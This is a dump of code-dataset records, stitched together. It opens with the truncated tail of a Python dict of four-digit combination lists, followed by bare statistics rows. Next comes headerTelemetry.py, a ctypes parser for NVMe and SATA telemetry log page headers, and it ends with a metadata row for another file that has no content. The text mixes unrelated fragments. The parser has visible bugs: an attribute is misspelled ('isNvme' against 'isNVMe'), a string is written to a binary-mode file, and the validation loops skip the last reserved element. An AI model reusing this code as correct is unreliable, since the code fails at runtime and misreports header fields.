['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1790_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1791_8_4_66' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1792_8_4_64' : ['0123','0124','0234','1234','0125','0235','1235','0245','1245','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1793_8_4_67' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1794_8_4_67' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1795_8_4_67' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1796_8_4_67' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1797_8_4_67' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1798_8_4_67' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1799_8_4_67' : ['0123','0124','0234','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1800_8_4_65' : ['0123','0124','0234','1234','0125','0235','1235','0245','1245','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1801_8_4_68' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1802_8_4_68' : ['0123','0124','0234','1234','0125','0135','0235','1235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1803_8_4_68' : ['0123','0124','0234','1234','0125','0135','0235','1235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1804_8_4_69' : ['0123','0124','0234','1234','0125','0135','0235','1235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1805_8_4_70' : ['0123','0124','0134','0234','1234','0125','0135','0235','1235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , }
354.283139
510
0.568405
48,687
334,089
3.842525
0.021751
0.010038
0.042719
0.054051
0.977357
0.974578
0.972301
0.969676
0.966255
0.961338
0
0.567945
0.014077
334,089
942
511
354.659236
0.000024
0
0
0
0
0
0.56999
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
0
0
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
0caec21e2ab5251cd49d15ba2c9ea25f3f75ec93
26,631
py
Python
src/software/parse/headerTelemetry.py
intel/RAAD
9cca9e72ff61658191e30756bb260173d5600102
[ "Intel", "Apache-2.0" ]
null
null
null
src/software/parse/headerTelemetry.py
intel/RAAD
9cca9e72ff61658191e30756bb260173d5600102
[ "Intel", "Apache-2.0" ]
null
null
null
src/software/parse/headerTelemetry.py
intel/RAAD
9cca9e72ff61658191e30756bb260173d5600102
[ "Intel", "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 # -*- coding: utf-8 -*- # *****************************************************************************/ # * Authors: Randal Eike, Joseph Tarango # *****************************************************************************/ """ Brief: headerTelemetry.py - Holds special parsers for Telemetry Log Page Header Data Description: - Classes: Enter GetHeaders("parsers\\nvme\\headerTelemetry.py") to display Class listings. """ from __future__ import absolute_import, division, print_function, unicode_literals # , nested_scopes, generators, generator_stop, with_statement, annotations import sys from ctypes import * from src.software.parse.telemetry_util import MAX_BLOCK_SIZE from src.software.parse.telemetry_util import GetTruncatedDataBuffer from src.software.parse.output_log import OutputLog from src.software.parse.intelVUTelemetryReason import intelTelemetryReasonV1_0_Struct class NvmeHostInitiatedLogPageHeader_struct(Structure): """ Brief: HostInitiatedLogPageHeader_struct() - Definition of the NVMe Get Host Initiated Log Page header structure for Intel drives. Description: Class(es): None Method(s): None Related: - Author(s): Randal Eike """ _pack_ = 1 _fields_ = [ ("logIdentifier", c_uint8), # byte 00: Log identifier = 0x07 ("reserved", c_uint8 * 4), # byte 01-04: reserved in NVMe 1.3 specification ("IEEE_OUI_id", c_uint8 * 3), # byte 05-07:Contains the Organization Unique Identifier (OUI) for the controller vendor. ("dataArea1EndBlock", c_uint16), # byte 08-09:Last block of data area 1 ("dataArea2EndBlock", c_uint16), # byte 10-11:Last block of data area 2 ("dataArea3EndBlock", c_uint16), # byte 12-13:Last block of data area 3 ("reserved2", c_uint8 * 368), # byte 14-381: reserved in NVMe 1.3 specification ("ctrlInitiatedDataAvail", c_uint8), # byte 382: Telemetry Controller Initiated Data available ("ctrlInitiatedGeneration", c_uint8), # byte 383: Telemetry Controller Initiated Data generation ("reasonId", intelTelemetryReasonV1_0_Struct), # byte 384-511: Vendor unique reason identification data # End More Intel ] def IsHostInitiated(self): return True def tostr(self): retString = "" retString += "Name : NvmeHostInitiatedLogPageHeader\n" retString += "serialNumber : %s\n" % self.getSerialNumber() retString += "logIdentifier : %d\n" % self.logIdentifier for i in range(4): retString += "reserved[%i] : %d\n" % (i, self.reserved[i]) for i in range(3): retString += "IEE_OUI_id[%i] : %d\n" % (i, self.IEEE_OUI_id[i]) retString += "dataArea1EndBlock : %d\n" % self.dataArea1EndBlock retString += "dataArea2EndBlock : %d\n" % self.dataArea2EndBlock retString += "dataArea3EndBlock : %d\n" % self.dataArea3EndBlock for i in range(368): retString += "reserved2[%i] : %d\n" % (i, self.reserved2[i]) retString += "ctrlInitiatedDataAvail : %d\n" % self.ctrlInitiatedDataAvail retString += "ctrlInitiatedGeneration : %d\n" % self.ctrlInitiatedGeneration retString += "reasonId : %s" % "\n" + self.reasonId.tostr() return retString def getStr(self): return self.tostr() def validate(self): valid = True if (7 != self.logIdentifier): OutputLog.Error("Log identifier = " + str(self.logIdentifier) + ", Expected 7") valid = False if (self.dataArea2EndBlock < self.dataArea1EndBlock): OutputLog.Error("Data Area 2 last block (" + str(self.dataArea2EndBlock) + ") less than Data 1 last block (" + str(self.dataArea1EndBlock) + ")") valid = False if (self.dataArea3EndBlock < self.dataArea2EndBlock): OutputLog.Error("Data Area 3 last block (" + str(self.dataArea3EndBlock) + ") less than Data 2 last block (" + str(self.dataArea2EndBlock) + ")") valid = False for x in range(0, 3): if (self.reserved[x] != 0): OutputLog.Warning("Reserved field1[" + str(x) + "] != 0") for x in range(0, 367): if (self.reserved2[x] != 0): OutputLog.Warning("Reserved field2[" + str(x) + "] != 0") if (self.reasonId.getMajorVersion() != 0): if (False == self.reasonId.validate(True)): valid = False return valid def getSerialNumber(self): return self.reasonId.getSerialNumber() def getLastBlock(self): dataAreaList = [] lastBlock = max(self.dataArea1EndBlock, self.dataArea2EndBlock, self.dataArea3EndBlock) lastBlock += 1 if (0 != self.dataArea1EndBlock): dataAreaList.append(self.dataArea1EndBlock + 1) if (self.dataArea2EndBlock > self.dataArea1EndBlock): dataAreaList.append(self.dataArea2EndBlock + 1) if (self.dataArea3EndBlock > self.dataArea2EndBlock): dataAreaList.append(self.dataArea3EndBlock + 1) elif (0 != self.dataArea2EndBlock): dataAreaList.append(self.dataArea2EndBlock + 1) if (self.dataArea3EndBlock > self.dataArea2EndBlock): dataAreaList.append(self.dataArea3EndBlock + 1) else: dataAreaList.append(self.dataArea3EndBlock + 1) return lastBlock, dataAreaList def getDataAreaLastBlock(self, dataArea): if (1 == dataArea): return self.dataArea1EndBlock + 1 elif (2 == dataArea): return self.dataArea2EndBlock + 1 elif (3 == dataArea): return self.dataArea3EndBlock + 1 else: return self.dataArea3EndBlock + 1 def getCIdata(self): return self.ctrlInitiatedDataAvail, self.ctrlInitiatedGeneration def IsVersion1(self): if (self.reasonId.getMajorVersion() == 0): return True else: return False def getVersionInfo(self): return self.reasonId.getMajorVersion(), self.reasonId.getMinorVersion() def tofile(self, filename): self.reasonId.tofile(filename) class SataHostInitiatedLogPageHeader_struct(Structure): """ Brief: SataHostInitiatedLogPageHeader_struct() - Definition of the SATA Get Host Initiated Log Page header structure for Intel drives. Description: Class(es): None Method(s): None Related: - Author(s): Randal Eike """ _pack_ = 1 _fields_ = [ ("logIdentifier", c_uint8), # byte 00: Log identifier = 0x07 ("reserved", c_uint8 * 4), # byte 01-04: reserved in NVMe 1.3 specification ("IEEE_OUI_id", c_uint8 * 3), # byte 05-07:Contains the Organization Unique Identifier (OUI) for the controller vendor. ("dataArea1EndBlock", c_uint16), # byte 08-09:Last block of data area 1 ("dataArea2EndBlock", c_uint16), # byte 10-11:Last block of data area 2 ("dataArea3EndBlock", c_uint16), # byte 12-13:Last block of data area 3 ("reserved2", c_uint8 * 368), # byte 14-381: reserved in NVMe 1.3 specification ("ctrlInitiatedDataAvail", c_uint8), # byte 382: Telemetry Controller Initiated Data available ("ctrlInitiatedGeneration", c_uint8), # byte 383: Telemetry Controller Initiated Data generation ("reasonId", intelTelemetryReasonV1_0_Struct), # byte 384-511: Vendor unique reason identification data # End More Intel ] def IsHostInitiated(self): return True def tostr(self): retString = "" retString += "Name : SataHostInitiatedLogPageHeader\n" retString += "serialNumber : %s\n" % self.getSerialNumber() retString += "logIdentifier : %d\n" % self.logIdentifier for i in range(4): retString += "reserved[%i] : %d\n" % (i, self.reserved[i]) for i in range(3): retString += "IEE_OUI_id[%i] : %d\n" % (i, self.IEEE_OUI_id[i]) retString += "dataArea1EndBlock : %d\n" % self.dataArea1EndBlock retString += "dataArea2EndBlock : %d\n" % self.dataArea2EndBlock retString += "dataArea3EndBlock : %d\n" % self.dataArea3EndBlock for i in range(368): retString += "reserved2[%i] : %d\n" % (i, self.reserved2[i]) retString += "ctrlInitiatedDataAvail : %d\n" % self.ctrlInitiatedDataAvail retString += "ctrlInitiatedGeneration : %d\n" % self.ctrlInitiatedGeneration retString += "reasonId : %s" % "\n" + self.reasonId.tostr() return retString def getStr(self): return self.tostr() def validate(self): valid = True if (0x24 != self.logIdentifier): OutputLog.Error(format("Log identifier = 0x%x, Expected 0x24" % (self.logIdentifier))) valid = False if (self.dataArea2EndBlock < self.dataArea1EndBlock): OutputLog.Error("Data Area 2 last block (" + str(self.dataArea2EndBlock) + ") less than Data 1 last block (" + str(self.dataArea1EndBlock) + ")") valid = False if (self.dataArea3EndBlock < self.dataArea2EndBlock): OutputLog.Error("Data Area 3 last block (" + str(self.dataArea3EndBlock) + ") less than Data 2 last block (" + str(self.dataArea2EndBlock) + ")") valid = False for x in range(0, 3): if (self.reserved[x] != 0): OutputLog.Warning("Reserved field1[" + str(x) + "] != 0") for x in range(0, 367): if (self.reserved2[x] != 0): OutputLog.Warning("Reserved field2[" + str(x) + "] != 0") if (self.reasonId.getMajorVersion() != 0): if (False == self.reasonId.validate(True)): valid = False return valid def getSerialNumber(self): return self.reasonId.getSerialNumber() def getLastBlock(self): dataAreaList = [] lastBlock = max(self.dataArea1EndBlock, self.dataArea2EndBlock, self.dataArea3EndBlock) lastBlock += 1 if (0 != self.dataArea1EndBlock): dataAreaList.append(self.dataArea1EndBlock + 1) if (self.dataArea2EndBlock > self.dataArea1EndBlock): dataAreaList.append(self.dataArea2EndBlock + 1) if (self.dataArea3EndBlock > self.dataArea2EndBlock): dataAreaList.append(self.dataArea3EndBlock + 1) elif (0 != self.dataArea2EndBlock): dataAreaList.append(self.dataArea2EndBlock + 1) if (self.dataArea3EndBlock > self.dataArea2EndBlock): dataAreaList.append(self.dataArea3EndBlock + 1) else: dataAreaList.append(self.dataArea3EndBlock + 1) return lastBlock, dataAreaList def getDataAreaLastBlock(self, dataArea): if (1 == dataArea): return self.dataArea1EndBlock + 1 elif (2 == dataArea): return self.dataArea2EndBlock + 1 elif (3 == dataArea): return self.dataArea3EndBlock + 1 else: return self.dataArea3EndBlock + 1 def getCIdata(self): return self.ctrlInitiatedDataAvail, self.ctrlInitiatedGeneration def IsVersion1(self): if (self.reasonId.getMajorVersion() == 0): return True else: return False def tofile(self, filename): self.reasonId.tofile(filename) class NvmeControllerInitiatedLogPageHeader_struct(Structure): """ Brief: ControllerInitiatedLogPageHeader_struct() - Definition of the NVMe Get Controller Initiated Log Page header structure for Intel drives. Description: Class(es): None Method(s): None Related: - Author(s): Randal Eike """ _pack_ = 1 _fields_ = [ ("logIdentifier", c_uint8), # byte 00: Log identifier = 0x08 ("reserved", c_uint8 * 4), # byte 01-04: reserved in NVMe 1.3 specification ("IEEE_OUI_id", c_uint8 * 3), # byte 05-07:Contains the Organization Unique Identifier (OUI) for the controller vendor. ("dataArea1EndBlock", c_uint16), # byte 08-09:Last block of data area 1 ("dataArea2EndBlock", c_uint16), # byte 10-11:Last block of data area 2 ("dataArea3EndBlock", c_uint16), # byte 12-13:Last block of data area 3 ("reserved2", c_uint8 * 368), # byte 14-381: reserved in NVMe 1.3 specification ("ctrlInitiatedDataAvail", c_uint8), # byte 382: Telemetry Controller Initiated Data available ("ctrlInitiatedGeneration", c_uint8), # byte 383: Telemetry Controller Initiated Data generation ("reasonId", intelTelemetryReasonV1_0_Struct), # byte 384-511: Vendor unique reason identification data # End More Intel ] def IsHostInitiated(self): return False def tostr(self): retString = "" retString += "Name : NvmeControllerInitiatedLogPageHeader\n" retString += "serialNumber : %s\n" % self.getSerialNumber() retString += "logIdentifier : %d\n" % self.logIdentifier for i in range(4): retString += "reserved[%i] : %d\n" % (i, self.reserved[i]) for i in range(3): retString += "IEE_OUI_id[%i] : %d\n" % (i, self.IEEE_OUI_id[i]) retString += "dataArea1EndBlock : %d\n" % self.dataArea1EndBlock retString += "dataArea2EndBlock : %d\n" % self.dataArea2EndBlock retString += "dataArea3EndBlock : %d\n" % self.dataArea3EndBlock for i in range(368): retString += "reserved2[%i] : %d\n" % (i, self.reserved2[i]) retString += "ctrlInitiatedDataAvail : %d\n" % self.ctrlInitiatedDataAvail retString += "ctrlInitiatedGeneration : %d\n" % self.ctrlInitiatedGeneration retString += "reasonId : %s" % "\n" + self.reasonId.tostr() return retString def getStr(self): return self.tostr() def validate(self): valid = True if (8 != self.logIdentifier): OutputLog.Error("Log identifier = " + str(self.logIdentifier) + ", Expected 8") valid = False if (self.dataArea2EndBlock < self.dataArea1EndBlock): OutputLog.Error("Data Area 2 last block (" + str(self.dataArea2EndBlock) + ") less than Data 1 last block (" + str(self.dataArea1EndBlock) + ")") valid = False if (self.dataArea3EndBlock < self.dataArea2EndBlock): OutputLog.Error("Data Area 3 last block (" + str(self.dataArea3EndBlock) + ") less than Data 2 last block (" + str(self.dataArea2EndBlock) + ")") valid = False for x in range(0, 3): if (self.reserved[x] != 0): OutputLog.Warning("Reserved field1[" + str(x) + "] != 0") for x in range(0, 367): if (self.reserved2[x] != 0): OutputLog.Warning("Reserved field2[" + str(x) + "] != 0") if (self.reasonId.getMajorVersion() != 0): if (False == self.reasonId.validate(False)): valid = False return valid def getLastBlock(self): dataAreaList = [] lastBlock = max(self.dataArea1EndBlock, self.dataArea2EndBlock, self.dataArea3EndBlock) lastBlock += 1 if (0 != self.dataArea1EndBlock): dataAreaList.append(self.dataArea1EndBlock + 1) if (self.dataArea2EndBlock > self.dataArea1EndBlock): dataAreaList.append(self.dataArea2EndBlock + 1) if (self.dataArea3EndBlock > self.dataArea2EndBlock): dataAreaList.append(self.dataArea3EndBlock + 1) elif (0 != self.dataArea2EndBlock): dataAreaList.append(self.dataArea2EndBlock + 1) if (self.dataArea3EndBlock > self.dataArea2EndBlock): dataAreaList.append(self.dataArea3EndBlock + 1) else: dataAreaList.append(self.dataArea3EndBlock + 1) return lastBlock, dataAreaList def getDataAreaLastBlock(self, dataArea): if (1 == dataArea): return self.dataArea1EndBlock + 1 elif (2 == dataArea): return self.dataArea2EndBlock + 1 elif (3 == dataArea): return self.dataArea3EndBlock + 1 else: return self.dataArea3EndBlock + 1 def getSerialNumber(self): return self.reasonId.getSerialNumber() def getCIdata(self): return self.ctrlInitiatedDataAvail, self.ctrlInitiatedGeneration def IsVersion1(self): if (self.reasonId.getMajorVersion() == 0): return True else: return False def tofile(self, filename): self.reasonId.tofile(filename) class SataControllerInitiatedLogPageHeader_struct(Structure): """ Brief: SataControllerInitiatedLogPageHeader_struct() - Definition of the SATA Get Controller Initiated Log Page header structure for Intel drives. Description: Class(es): None Method(s): None Related: - Author(s): Randal Eike """ _pack_ = 1 _fields_ = [ ("logIdentifier", c_uint8), # byte 00: Log identifier = 0x08 ("reserved", c_uint8 * 4), # byte 01-04: reserved in NVMe 1.3 specification ("IEEE_OUI_id", c_uint8 * 3), # byte 05-07:Contains the Organization Unique Identifier (OUI) for the controller vendor. ("dataArea1EndBlock", c_uint16), # byte 08-09:Last block of data area 1 ("dataArea2EndBlock", c_uint16), # byte 10-11:Last block of data area 2 ("dataArea3EndBlock", c_uint16), # byte 12-13:Last block of data area 3 ("reserved2", c_uint8 * 368), # byte 14-381: reserved in NVMe 1.3 specification ("ctrlInitiatedDataAvail", c_uint8), # byte 382: Telemetry Controller Initiated Data available ("ctrlInitiatedGeneration", c_uint8), # byte 383: Telemetry Controller Initiated Data generation ("reasonId", intelTelemetryReasonV1_0_Struct), # byte 384-511: Vendor unique reason identification data # End More Intel ] def IsHostInitiated(self): return False def tostr(self): retString = "" retString += "Name : SataControllerInitiatedLogPageHeader\n" retString += "serialNumber : %s\n" % self.getSerialNumber() retString += "logIdentifier : %d\n" % self.logIdentifier for i in range(4): retString += "reserved[%i] : %d\n" % (i, self.reserved[i]) for i in range(3): retString += "IEE_OUI_id[%i] : %d\n" % (i, self.IEEE_OUI_id[i]) retString += "dataArea1EndBlock : %d\n" % self.dataArea1EndBlock retString += "dataArea2EndBlock : %d\n" % self.dataArea2EndBlock retString += "dataArea3EndBlock : %d\n" % self.dataArea3EndBlock for i in range(368): retString += "reserved2[%i] : %d\n" % (i, self.reserved2[i]) retString += "ctrlInitiatedDataAvail : %d\n" % self.ctrlInitiatedDataAvail retString += "ctrlInitiatedGeneration : %d\n" % self.ctrlInitiatedGeneration retString += "reasonId : %s" % "\n" + self.reasonId.tostr() return retString def getStr(self): return self.tostr() def validate(self): valid = True if (0x25 != self.logIdentifier): OutputLog.Error(format("Log identifier = 0x%x, Expected 0x25" % (self.logIdentifier))) valid = False if (self.dataArea2EndBlock < self.dataArea1EndBlock): OutputLog.Error("Data Area 2 last block (" + str(self.dataArea2EndBlock) + ") less than Data 1 last block (" + str(self.dataArea1EndBlock) + ")") valid = False if (self.dataArea3EndBlock < self.dataArea2EndBlock): OutputLog.Error("Data Area 3 last block (" + str(self.dataArea3EndBlock) + ") less than Data 2 last block (" + str(self.dataArea2EndBlock) + ")") valid = False for x in range(0, 3): if (self.reserved[x] != 0): OutputLog.Warning("Reserved field1[" + str(x) + "] != 0") for x in range(0, 367): if (self.reserved2[x] != 0): OutputLog.Warning("Reserved field2[" + str(x) + "] != 0") if (self.reasonId.getMajorVersion() != 0): if (False == self.reasonId.validate(False)): valid = False return valid def getLastBlock(self): dataAreaList = [] lastBlock = max(self.dataArea1EndBlock, self.dataArea2EndBlock, self.dataArea3EndBlock) lastBlock += 1 if (0 != self.dataArea1EndBlock): dataAreaList.append(self.dataArea1EndBlock + 1) if (self.dataArea2EndBlock > self.dataArea1EndBlock): dataAreaList.append(self.dataArea2EndBlock + 1) if (self.dataArea3EndBlock > self.dataArea2EndBlock): dataAreaList.append(self.dataArea3EndBlock + 1) elif (0 != self.dataArea2EndBlock): dataAreaList.append(self.dataArea2EndBlock + 1) if (self.dataArea3EndBlock > self.dataArea2EndBlock): dataAreaList.append(self.dataArea3EndBlock + 1) else: dataAreaList.append(self.dataArea3EndBlock + 1) return lastBlock, dataAreaList def getDataAreaLastBlock(self, dataArea): if (1 == dataArea): return self.dataArea1EndBlock + 1 elif (2 == dataArea): return self.dataArea2EndBlock + 1 elif (3 == dataArea): return self.dataArea3EndBlock + 1 else: return self.dataArea3EndBlock + 1 def getSerialNumber(self): return self.reasonId.getSerialNumber() def getCIdata(self): return self.ctrlInitiatedDataAvail, self.ctrlInitiatedGeneration def IsVersion1(self): if (self.reasonId.getMajorVersion() == 0): return True else: return False def tofile(self, filename): self.reasonId.tofile(filename) class TelemetryLogPageHeader_union(Union): """ Brief: getControllerInitiatedLogPageHeader_union() - Definition of the NVMe Get Controller Initiated Log Page header structure for Intel drives. Description: Class(es): None Method(s): None Related: - Author(s): Randal Eike """ _pack_ = 1 _fields_ = [ ("NvmeHostInitiated", NvmeHostInitiatedLogPageHeader_struct), # Header data ("NvmeCtrlInitiated", NvmeControllerInitiatedLogPageHeader_struct), # Header data ("SataHostInitiated", SataHostInitiatedLogPageHeader_struct), # Header data ("SataCtrlInitiated", SataControllerInitiatedLogPageHeader_struct), # Header data ("NvmeLogId", c_ubyte), # NVMe log page number ("SataLogId", c_ubyte), # SATA log page number ("Bytes", c_ubyte * MAX_BLOCK_SIZE), # fill # End More Intel ] def __init__(self, imageBuffer, blockSize): dataSize, dataBuffer = GetTruncatedDataBuffer(imageBuffer, blockSize, MAX_BLOCK_SIZE) for i in range(0, dataSize): self.Bytes[i] = dataBuffer[i] self.isNVMe = True self.isSATA = False return def __getitem__(self, item): return getattr(self, item) def getStr(self): retString = "" if (self.NvmeLogId == 7): retString += self.NvmeHostInitiated.getStr() self.isNVMe = True self.isSATA = False elif (self.NvmeLogId == 8): retString += self.NvmeCtrlInitiated.getStr() self.isNVMe = True self.isSATA = False elif (self.SataLogId == 0x24): retString += self.SataHostInitiated.getStr() self.isNVMe = False self.isSATA = True elif (self.SataLogId == 0x25): retString += self.SataCtrlInitiated.getStr() self.isNVMe = False self.isSATA = True else: self.isNVMe = False self.isSATA = False if self.isNvme: retString += f"NvmeLogId : {self.NvmeLogId}" if self.isSATA: retString += f"SataLogId : {self.SataLogId}" for i in range(MAX_BLOCK_SIZE): retString += f"Bytes[{i}] : {c_char(self.Bytes[i])}\n" return retString def parse(self, outFile=None): if outFile is not None: with open(outFile, 'wb') as oFile: oFile.write('%s\n' % self.getStr()) else: print(self.getStr()) def getNvmeHostInitiatedStruct(self): return self.NvmeHostInitiated def getNvmeControllerInitiatedStruct(self): return self.NvmeCtrlInitiated def getNvmeLogPageId(self): return (self.NvmeLogId) def getInterfaceLogPageId(self, sata=False): if (sata): return (self.SataLogId) else: return (self.NvmeLogId) def getInterfaceTelemetryHeaderStruct(self): if (self.NvmeLogId == 7): self.isNVMe = True self.isSATA = False return self.NvmeHostInitiated elif (self.NvmeLogId == 8): self.isNVMe = True self.isSATA = False return self.NvmeCtrlInitiated elif (self.SataLogId == 0x24): self.isNVMe = False self.isSATA = True return self.SataHostInitiated elif (self.SataLogId == 0x25): self.isNVMe = False self.isSATA = True return self.SataCtrlInitiated else: OutputLog.Error("getTelemetryLogPageHeader_union: unknown log page number {}".format(str(self.NvmeLogId))) return None
40.845092
159
0.592129
2,600
26,631
6.011923
0.090385
0.069861
0.009212
0.016378
0.825923
0.824323
0.819141
0.807434
0.797454
0.788625
0
0.034451
0.298074
26,631
651
160
40.907834
0.801744
0.144719
0
0.843818
0
0
0.142955
0.025546
0
0
0.001468
0
0
1
0.10846
false
0
0.015184
0.045553
0.299349
0.004338
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
0cc519b2781fcb26f7313aaf12891b37ad3e37e8
3,754
py
Python
sgtpy/vrmie_mixtures/ahs_monomer.py
MatKie/SGTPy
8e98d92fedd2b07d834e547e5154ec8f70d80728
[ "MIT" ]
12
2020-12-27T17:04:33.000Z
2021-07-19T06:28:28.000Z
sgtpy/vrmie_mixtures/ahs_monomer.py
MatKie/SGTPy
8e98d92fedd2b07d834e547e5154ec8f70d80728
[ "MIT" ]
2
2021-05-15T14:27:57.000Z
2021-08-19T15:42:24.000Z
sgtpy/vrmie_mixtures/ahs_monomer.py
MatKie/SGTPy
8e98d92fedd2b07d834e547e5154ec8f70d80728
[ "MIT" ]
5
2021-02-21T01:33:29.000Z
2021-07-26T15:11:08.000Z
